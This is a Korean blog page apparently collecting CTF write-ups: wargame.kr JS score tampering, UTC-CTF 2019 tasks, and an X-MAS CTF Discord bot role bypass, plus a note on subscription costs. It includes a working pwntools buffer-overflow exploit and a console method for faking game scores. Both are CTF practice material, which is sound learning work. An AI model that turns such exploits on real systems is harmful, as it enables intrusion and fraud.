            }
        }
    };
    $(_0x32bb[30])[_0x32bb[15]](_0x32bb[29], ship_x + _0x32bb[14]);
    c_r++;
    if (c_r > 60) {
        c_r = 0;
        t_state = Math[_0x32bb[37]](Math[_0x32bb[36]]() * 2)
    };
    if (left_wall[0< 10) {
        t_state = 1
    } else {
        if (right_wall[0> 470) {
            t_state = 0
        }
    };
    y = 0;
    for (y = 20; y > 0; y--) {
        left_wall[y] = left_wall[y - 1];
        right_wall[y] = right_wall[y - 1]
    };
    if (t_state == 0) {
        left_wall[0-= 3
    };
    if (t_state == 1) {
        left_wall[0+= 3
    };
    right_wall[0= left_wall[0+ BTunnelGame[_0x32bb[5]]();
    $(_0x32bb[19])[_0x32bb[18]](function (_0x8618x16) {
        $(this)[_0x32bb[15]](_0x32bb[29], _0x32bb[13+ left_wall[_0x8618x16] + _0x32bb[14])
    });
    $(_0x32bb[20])[_0x32bb[18]](function (_0x8618x16) {
        $(this)[_0x32bb[15]](_0x32bb[29], _0x32bb[13+ right_wall[_0x8618x16] + _0x32bb[14])
    });
    if (BTunnelGame[_0x32bb[5]]() >= 120) {
        c_w++;
        if (c_w > 100) {
            c_w = 0;
            BTunnelGame[_0x32bb[4]]();
            left_wall[0+= 10
        }
    };
    c_s++;
    if (c_s > 20) {
        c_s = 0;
        BTunnelGame.BincScore();
        $(_0x32bb[28])[_0x32bb[27]](_0x32bb[13+ BTunnelGame[_0x32bb[2]]())
    };
    if (ship_x <= left_wall[18+ 20 || ship_x + 32 >= right_wall[18]) {
        BTunnelGame[_0x32bb[0]]()
    };
    if (BTunnelGame[_0x32bb[1]]()) {
        setTimeout(_0x32bb[38], 10)
    } else {
        $(_0x32bb[30])[_0x32bb[39]](_0x32bb[31]);
        $(_0x32bb[19])[_0x32bb[15]](_0x32bb[16], _0x32bb[24]);
        $(_0x32bb[20])[_0x32bb[15]](_0x32bb[16], _0x32bb[24]);
        $[_0x32bb[44]]({
            type: _0x32bb[40],
            url: _0x32bb[41],
            data: _0x32bb[42+ token + _0x32bb[43+ BTunnelGame[_0x32bb[2]](),
            success: function (_0x8618x19) {
                showHighScores(_0x8618x19)
            }
        })
    }
};
function scoreUpdate() {
    return
};
function showHighScores(_0x8618x19) {
    $(_0x32bb[25])[_0x32bb[45]](_0x8618x19);
    $(_0x32bb[25])[_0x32bb[15]](_0x32bb[16], _0x32bb[17])
};
$(document)[_0x32bb[52]](function () {
    $(_0x32bb[46])[_0x32bb[15]](_0x32bb[16], _0x32bb[17]);
    updateToken();
    setInterval(_0x32bb[47], 10000);
    $(_0x32bb[46])[_0x32bb[26]](function () {
        $(_0x32bb[46])[_0x32bb[15]](_0x32bb[16], _0x32bb[24]);
        initTunnel();
        updateTunnel()
    });
    $(_0x32bb[50])[_0x32bb[49]](function () {
        $(this)[_0x32bb[45]](_0x32bb[48])
    });
    $(_0x32bb[50])[_0x32bb[51]](function () {
        $(this)[_0x32bb[45]](temp)
    })
});
var temp = _0x32bb[53];
$(document)[_0x32bb[55]](function (_0x8618x1d) {
    pos_x = _0x8618x1d[_0x32bb[54]] - rail_left
});
var token = _0x32bb[13];
function updateToken() {
    $[_0x32bb[57]](_0x32bb[56], function (_0x8618x20) {
        token = _0x8618x20
    })
};
cs

 

 

 

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    if (BTunnelGame[_0x32bb[1]]()) {
        setTimeout(_0x32bb[38], 10)
    } else {
        $(_0x32bb[30])[_0x32bb[39]](_0x32bb[31]);
        $(_0x32bb[19])[_0x32bb[15]](_0x32bb[16], _0x32bb[24]);
        $(_0x32bb[20])[_0x32bb[15]](_0x32bb[16], _0x32bb[24]);
        $[_0x32bb[44]]({
            type: _0x32bb[40],
            url: _0x32bb[41],
            data: _0x32bb[42+ token + _0x32bb[43+ BTunnelGame[_0x32bb[2]](),
            success: function (_0x8618x19) {
                showHighScores(_0x8618x19)
            }
        })
    }
cs

 

점수와 관련된 코드를 찾았다.

 

언팩한 코드를 개발자 도구>콘솔 을 이용해서 재정의 한 뒤, 게임을 한 판 하고 변수의 내용을 확인해 보았다.

 

 

 

 

 

BtunnelGame[_0x32bb[2]]() 함수가 점수를 반환하는 함수임을 알 수 있다.

 

 

 

따라서 해당 함수 대신에 "31337"을 넣어서 js코드 재정의 후

 

게임을 하면, 점수를 전송하는 페이지에 점수가 31337로 들어가게 되고, key를 얻을 수 있게 된다.

 

 

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [DB is really GOOD] 풀이  (0) 2019.12.24
Wargame.kr [strcmp] 풀이  (0) 2019.12.24
Wargame.kr [md5 password] 풀이  (0) 2019.08.22
Wargame.kr [WTF_CODE] 풀이  (0) 2019.08.22
Wargame.kr [login filtering] 풀이  (0) 2019.08.22
반응형

https://ctftime.org/event/948

 

UTC-CTF 2019 Teaser

금요일, 20 12월 2019, 23:00 UTC — 토요일, 21 12월 2019, 23:00 UTC  On-line A UTC-CTF event. Format: Jeopardy  Official URL: https://utc-ctf.club/ Future weight: 0.00  Rating weight: 0.00  Event organizers 

ctftime.org


PWN

Simple bof (baby)

Want to learn the hacker's secret? Try to smash this buffer!

You need guidance? Look no further than to Mr. Liveoverflow. He puts out nice videos you should look if you haven't already

By: theKidOfArcrania

nc chal.utc-ctf.club 35235

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
 
// Defined in a separate source file for simplicity.
void init_visualize(char* buff);
void visualize(char* buff);
void safeguard();
 
void print_flag();
 
void vuln() {
  char padding[16];
  char buff[32];
  int notsecret = 0xffffff00;
  int secret = 0xdeadbeef;
 
  memset(buff, 0sizeof(buff)); // Zero-out the buffer.
  memset(padding, 0xFFsizeof(padding)); // Zero-out the padding.
 
  // Initializes the stack visualization. Don't worry about it!
  init_visualize(buff); 
 
  // Prints out the stack before modification
  visualize(buff);
 
  printf("Input some text: ");
  gets(buff); // This is a vulnerable call!
 
  // Prints out the stack after modification
  visualize(buff); 
 
  // Check if secret has changed.
  if (secret == 0x67616c66) {
    puts("You did it! Congratuations!");
    print_flag(); // Print out the flag. You deserve it.
    return;
  } else if (notsecret != 0xffffff00) {
    puts("Uhmm... maybe you overflowed too much. Try deleting a few characters.");
  } else if (secret != 0xdeadbeef) {
    puts("Wow you overflowed the secret value! Now try controlling the value of it!");
  } else {
    puts("Maybe you haven't overflowed enough characters? Try again?");
  }
 
  exit(0);
}
 
int main() {
  safeguard();
  vuln();
}
 
cs

 

정말 친절한 bof 문제다..

 

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
from pwn import *
 
= remote("chal.utc-ctf.club"35235)
 
= 0x67616c66
payload = "A"*48 + p32(a)
 
p.recvuntil("Input some text: ")
p.sendline(payload)
p.interactive()
cs

 

 

FLAG : utc{buffer_0verflows_4re_c00l!}

 

 


Crypto

 

RSAcue [not solved]

I heard you like to RSAcue the world. There we go

By: knapstack

 

 

공개키로 publickey.pem이 주어졌다.

 

여기서 n값을 구해내보자! (openssl)

https://stackoverflow.com/questions/3116907/rsa-get-exponent-and-modulus-given-a-public-key

 

RSA: Get exponent and modulus given a public key

I need to encrypt some data using RSA in JavaScript. All of the libraries around ask for an exponent and a modulus, yet I get a single public.key file from my opponent. How do you retrieve the pu...

stackoverflow.com

 

깔끔하게 보는 방법도 나와 있다.

 

 

 

 


MISC

 

 

Optics 1 (baby)

 

I dropped out of my physics class due to boring optical theory. I joined Forensics class thereafter. But, I found Optics there too. Help me clear this class :facepalm:

By: knapstack

 

 

png 파일이 하나 주어지는데, 열려고 하면 열리지 않는다.

 

Hxd로 열어보면 header signuature가 잘못 설정되어 있는 것을 알 수 있다.

 

0x1~0x3이 LOL로 되어 있는데 이를 PNG로 바꿔주면 파일이 정상적으로 열린다.

0x50 0x4e 0x47

 

QR코드 이미지가 나오는데, 이를 스캔해주면 flag가 나온다.

 

 

FLAG: utc{dang_you_know_qr_decoding_and_shit}

 


Sanity Check

 

Join our discord and get a free flag.

 

 

와 공짜 플래그

 

FLAG : utc{whats_discord_lol}

 


REVERSING

 

Strings (baby)

 

Itz not giving me flag...

GIMMME THE FLAG

By: theKidOfArcrania

 

 

strings 라는 파일이 주어진다.

 

 

HxD로 열어보면 ELF 헤더 시그니쳐를 확인 할 수 있다.

Open with HxD, you can find ELF header signature.

So, this file's format is ELF.

 

 

 

 

 

그리고 exeinfo PE를 통해 64bit elf 라는 것도 알 수 있다.

 

 

64bit elf 파일이기 때문에, ida 64bit로 연다.

 

문제 제목이 strings이기 때문에, 문자열들을 확인해 주면 된다.

Check out strings!

 

 

main함수에는 fake flag가 있다.

you can find fake flag in main FUNC.

 

 

 

 

real flag는 여기서 찾을 수 있다.

Real flag is in here!

 

 

FLAG : utc{that_waz_ezpz}


 

 

 

 

 

 

 

 

반응형
반응형

해외결제는 당연하지만 표시된 금액보다 실제 지불 금액이 더 나온다.

환율에 따라 달라지기도 한다.

 

 


 

 

유튜브 프리미엄 7,900KRW/월

 

19년 12월 19일

실제 지불 금액 : 8,690KRW

 

이 전달에도 8690원이 지불되었기 때문에 금액은 고정인 것 같다.

 

(구글페이먼트코리아로 결제가 되는 걸 봐선 국내 결제인 듯 하다.)

 

 

 

 


 

 

 

 

디스코드 니트로 9.99USD/월

 

19년 11월 30일

실제 지불 금액 : 12,044KRW

 

카카오뱅크 체크 카드

 

상세:

현지 거래금액 USD 9.99

US 환산금액 USD 10.11

적용 환율 1,191.40

해외브랜드수수료 119KRW

해외이용수수료 23KRW

 


 

 

 

 

디스코드 니트로 클래식 4.99USD/월

 

19년 12월 30일

실제 지불 금액 : 5,895KRW

 

카카오뱅크 체크 카드

 

상세:

현지 거래금액 USD 4.99

US 환산금액 USD 5.05

적용 환율 1,167.70

해외브랜드수수료 58KRW

해외이용수수료 11KRW

 

 


 

 

 

마인크래프트 렐름 9,440KRW/월

 

19년 11월 19일

실제 지불 금액 : 9,681KRW

 

카카오뱅크 체크 카드

 

상세:

현지 거래금액 KRW 9,440 (원화 결제 괜찮은건가... 돈 더 나간건가)

US 환산금액 USD 8.21

적용 환율 1,179.30

해외브랜드수수료 94KRW

해외이용수수료 23KRW

 

 


 

 

 

 

해외결제는 환율 확인해서 결제해야할 것 같다.

반응형
반응형

https://ctftime.org/event/926

 

X-MAS CTF 2019

1. 3 Months ProLab voucher or 1 year HackTheBox VIP subscription (you choose) 2. 2 Months ProLab voucher or 1 year HackTheBox VIP subscription (you choose) 3. 1 Month ProLab voucher or 1 year HackTheBox VIP subscription (you choose) Top 3 teams also receiv

ctftime.org

X-MAS Helper

 

As organizers of X-MAS CTF, we are using bots to ensure that the competition keeps running smoothly. We have made this Discord bot: X-MAS Helper#2918 to help us check the flags for various challenges by using the !flag command. This command is safe to use because the bot actively checks if the requesting user has the Organizer role assigned, so regular participants can't access the flags.

We're so sure that the code is secure, that we're willing to share the part that checks the role:

 

Code:

if (message.content == "!flag"):

ok = False

for role in message.author.roles:

if (role.name == "Organizer"):

ok = True

if (ok):

printer = "The flag is: **{}**".format (FLAG)

else:

printer = "Unauthorized."


Author: Milkdrop
Note: The music bot (FredBoat) and MicroBot are not part of this challenge. Do not try to exploit them.

 

 

 

 

 

디스코드 봇을 활용한 문제다.

 

!flag 라고 메세지를 보내면 역할 이름을 확인해서 flag를 보내준다.

 

 

내 역할 이름이 Organizer 이어야 하는데 해당 봇이 있는 X-MAS CTF 디스코드 채널에서 내 역할은 아무것도 없다.

 

그래서 해당 채널에서 아무리 !flag를 보내봐야 플래그를 주지 않는다.

 

 

 

flag를 얻는 방법은 간단하다. 내 역할 이름이 Organizer가 되면 된다!

 

디스코드 봇은 client id만 알면 내 서버로 초대를 할 수가 있다.

 

직접 서버를 파서 봇을 초대한 뒤에 역할도 만들어서 !flag를 보내면 봇이 flag를 보내준다.

 

 

 

디스코드 봇 초대링크:

https://discordapp.com/oauth2/authorize?clinet_id=****&scope=bot

 

 

 

client id는 쉽게 구할 수 있다.

 

디스코드 앱에서 > 톱니바퀴 > 디스플레이 > 고급 > 개발자 모드 활성화

 

해당 봇 우클릭 > ID 복사하기

 

 

위 링크에서 ****대신에 id 입력!

 

 

 

 

 

EZ

 

 

 

반응형

+ Recent posts